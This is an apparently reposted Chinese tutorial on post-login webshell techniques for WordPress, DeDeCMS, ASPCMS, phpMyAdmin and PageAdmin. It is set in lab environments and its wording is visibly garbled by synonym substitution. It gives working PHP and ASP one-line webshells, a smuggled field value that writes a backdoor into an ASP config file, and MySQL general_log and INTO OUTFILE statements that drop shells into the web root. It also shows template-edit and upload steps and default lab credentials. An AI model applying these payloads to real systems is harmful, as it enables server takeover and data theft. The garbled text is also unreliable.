常见CMS弊端（WordPress、DeDeCMS、ASPCMS、PHPMyadmin、Pageadmin） ...

目次

一：WordPress
步调一:进入Vulhub靶场并实验以下命令开启靶场;在欣赏器中访问并安装好子...
步调二:思路是修改其WP的模板写入一句话木马后门并访问其文件即可GetShel;登岸WP后点击【外貌】--》【编辑】 --》 404.php
步调三:访问以下毗连即可获取WebShel...
姿势二:上传主题拿WebShell
步调一:接着上一个环境使用...将带有后门的文件加入到主题中并将主题压缩为ZIP文件...点击【外貌】 --》【主题】 --》【添加】--》【上传主题】--》【欣赏】--》【现在安装】
步调二:安装乐成后访问主题下的网站后门文件..
二：DeDeCMS
姿势一:通过文件管理器上传WebShell
步调一:访问目标靶场其思路为 dedecms 后台可以直接上传任意文件，可以通过文件管理器上传php文件获取webshell...
步调二:登岸到后台点击【核心】--》【文件式管理器】【文件上传】将准备好的一句话代
码上传...OK
步调三:访问上传乐成后的文件并使用蚁剑毗连测试...
姿势二:修改模板文件拿WebShel
步调一:与WPCMS雷同，直接修改模板拿WebShel.点击【模板】-》【默认模板管理】--》【index.htm】-->【修改】在文件修改中添加一句话代码…如下
步调二:点击 【生成】--》点击【更新主页HTML】--》将主页位置修改为【../index.php 】--》【生成静态】--》点击【更新主页】 再次访问站点首页可发现变革...
步调三:使用蚁剑进行毗连测试.
姿势三:后台任意命令实验拿WebShell
步调一:点击 【模块】--》【广告管理】--》【增加一个新广告】 --》在 【广告内容】 处添加一句话代码--》点击 【确定】
步调二:点击【代码】--》在图中显示的路径与站点进行拼接..访问测试!
步调三:使用蚁剑毗连测试...
三:ASPCMS
姿势一:后台修改设置文件拿Shell
步调一:访问以下地点为ASPCMS.并登岸到后台(这里注意在搭建站点的时候注意权限问题)
步调二：点击【扩展功能】--》【幻灯片设置】--》点击 【保存】--》开启署理进行抓包
步调三:在抓取的数据包中修改 slideTextstatus 字段的值为以下代码并进行发包检察被修改的asp文件内容...
步调四:访问以下地点进行毗连...
四、PHPMyadmin
姿势⼀：通过⽇志⽂件拿Shell
姿势⼆：导⼊导出拿WebShell
1.起首判断mysql位置
2.推测web路径
3.写webshell
4.欣赏器
姿势三:界面图像化GetShell
五、Pageadmin
步调一：准备一个一句话木马的asp文件，然后压缩成zip格式。
步调二：点击【⼯具】--》 【⽂件管理】--》 【功能菜单】 --》【上传⽂件】
步调三：解压文件。
步调四：使用工具毗连。

---

一：WordPress

步调一:进入Vulhub靶场并实验以下命令开启靶场;在欣赏器中访问并安装好子...

#实验命令

1. cd /vulhub/wordpress/pwnscriptum
3. docker-compose up -d

复制代码

#靶园地点

1. http://192.168.4.176:8080/wp-admin/

复制代码

步调二:思路是修改其WP的模板写入一句话木马后门并访问其文件即可GetShel;登岸WP后点击【外貌】--》【编辑】 --》 404.php

在其404模板中插入一句话木马代码.点击【更新文件】按钮

1. <?php eval($ POST['cmd']);?>

复制代码

步调三:访问以下毗连即可获取WebShel...

#拼接路径

1. /wp-content/themes/twentyfifteen/404.php

复制代码

#访问毗连

1. http://192.168.4.176:8080//wp-content/themes/twentyfifteen/404.php

复制代码

http://192.168.4.176:8080//wp-content/themes/twentyfifteen/404.php
菜刀毗连：

姿势二:上传主题拿WebShell

步调一:接着上一个环境使用...将带有后门的文件加入到主题中并将主题压缩为ZIP文件...点击【外貌】 --》【主题】 --》【添加】--》【上传主题】--》【欣赏】--》【现在安装】

主题文件

步调二:安装乐成后访问主题下的网站后门文件..

#拼接路径

1. /wp-content/themes/ Farallon-develop-v0.3.8/shell.php

复制代码

#访问地点

1. http://192.168.4.176:8080/wp-content/themes/ Farallon-develop-v0.3.8/shell.php

复制代码

#蚁剑毗连

二：DeDeCMS

弊端复现
姿势一:通过文件管理器上传WebShell

步调一:访问目标靶场其思路为 dedecms 后台可以直接上传任意文件，可以通过文件管理器上传php文件获取webshell...

#前台
http://192.168.4.139/dedecms/index.php?upcache=1

1. http://192.168.4.139/dedecms/index.php?upcache=1

复制代码

http://192.168.4.139/dedecms/index.php?upcache=1
#后台
http://192.168.4.139/dedecms/dede/

1. http://192.168.4.139/dedecms/dede/

复制代码

http://192.168.4.139/dedecms/dede/
#信息
username:admin
password:admin

步调二:登岸到后台点击【核心】--》【文件式管理器】【文件上传】将准备好的一句话代

码上传...OK

步调三:访问上传乐成后的文件并使用蚁剑毗连测试...

#文件地点
http://127.0.0.1/uploads/uploads/shell.php

1. http://127.0.0.1/uploads/uploads/shell.php

复制代码

http://127.0.0.1/uploads/uploads/shell.php

姿势二:修改模板文件拿WebShel

步调一:与WPCMS雷同，直接修改模板拿WebShel.点击【模板】-》【默认模板管理】--》【index.htm】-->【修改】在文件修改中添加一句话代码…如下

步调二:点击 【生成】--》点击【更新主页HTML】--》将主页位置修改为【../index.php 】--》【生成静态】--》点击【更新主页】 再次访问站点首页可发现变革...

步调三:使用蚁剑进行毗连测试.

#地点
http://127.0.0.1/uploads/index.php

1. http://127.0.0.1/uploads/index.php

复制代码

http://127.0.0.1/uploads/index.php

姿势三:后台任意命令实验拿WebShell

步调一:点击 【模块】--》【广告管理】--》【增加一个新广告】 --》在 【广告内容】 处添加一句话代码--》点击 【确定】

步调二:点击【代码】--》在图中显示的路径与站点进行拼接..访问测试!

1. http://127.0.0.1/dedecms/plus/ad js.php?aid=1

复制代码

步调三:使用蚁剑毗连测试...

三:ASPCMS

  ASPCMS是由上谷网络开辟的全新内核的开源企业建站体系，可以或许胜任企业多种建站需求，并且支持模版自定义、支持扩展插件等等，可以或许在短时间内完成企业建站。
弊端复现
姿势一:后台修改设置文件拿Shell

步调一:访问以下地点为ASPCMS.并登岸到后台(这里注意在搭建站点的时候注意权限问题)

#网站后台

1. http://192.168.4.139/admin_aspcms/login.asp //全功能版本

复制代码

#账户暗码
username:admin
password:123456

步调二：点击【扩展功能】--》【幻灯片设置】--》点击 【保存】--》开启署理进行抓包

步调三:在抓取的数据包中修改 slideTextstatus 字段的值为以下代码并进行发包检察被修改的asp文件内容...

#字段值

1. 1%25><%25Eval(Request(chr(65)))%25><%25 #密码是a

复制代码

#影响文件
/config/AspCms _Config.asp

步调四:访问以下地点进行毗连...

1. http://192.168.207.130:81/config//AspCms_Config.asp

复制代码

四、PHPMyadmin

姿势⼀：通过⽇志⽂件拿Shell

  利⽤mysql⽇志⽂件写shell，这个⽇志可以在mysql⾥改变它的存放位置，登录phpmyadmin可以修改这个存放位置，并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取⼀个webshell 。

1. show global variables like '%general%';

复制代码

1. set global general_log='on';
3. set global general_log_file = 'E:/phpstudy_pro/WWW/mafa.php'

复制代码

1. select '<?php phpinfo();?>';

复制代码

php代码实验乐成!

姿势⼆：导⼊导出拿WebShell

思路：通过SQL语句拿webshell ⽤into outfile把后⻔写到⽹站⽬录上。
1.起首判断mysql位置

1. select @@datadir

复制代码

路径: E:\phpstudy_pro\Extensions\MySQL5.7.26\data\

2.推测web路径

推测web路径: E:\phpstudy_pro\WWW
E:\phpstudy\WWW\web.php
3.写webshell

1. select "<?php phpinfo(); eval($_POST[a]);?>" into outfile 'E:/phpstudy_pro/WWW/a.php ';
3. select "<?php phpinfo(); system($_GET[a]);?>" into outfile 'E:/phpstudy_pro/WWW/b.php';

复制代码

4.欣赏器

http://127.0.0.1/b.php?a=dir ..\
备注:/
不要用\,如里要用\\(转义)

姿势三:界面图像化GetShell

假如过滤了 into outfile 第一种的图形化操作..

phpmyadmin管理台
变量:日记 搜索:gen

logn
file: E:/phpstudy_pro/WWW/mafa.php

sql:

1. select “<?php eval($_POST[‘cmd’]);?>”;

复制代码

五、Pageadmin

  PageAdmin CMS体系是基于.Net的⽹站管理体系,安全、稳定、灵活,全国⽤户超过百万,致⼒于为企业、学校、政府⽹站建设和⽹站制作提供企业级内容管理体系解决⽅案。
源码⽂件+MSSQL(SA/Rsec123456)
登录到管理员后台

步调一：准备一个一句话木马的asp文件，然后压缩成zip格式。

步调二：点击【⼯具】--》 【⽂件管理】--》 【功能菜单】 --》【上传⽂件】

步调三：解压文件。

步调四：使用工具毗连。

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。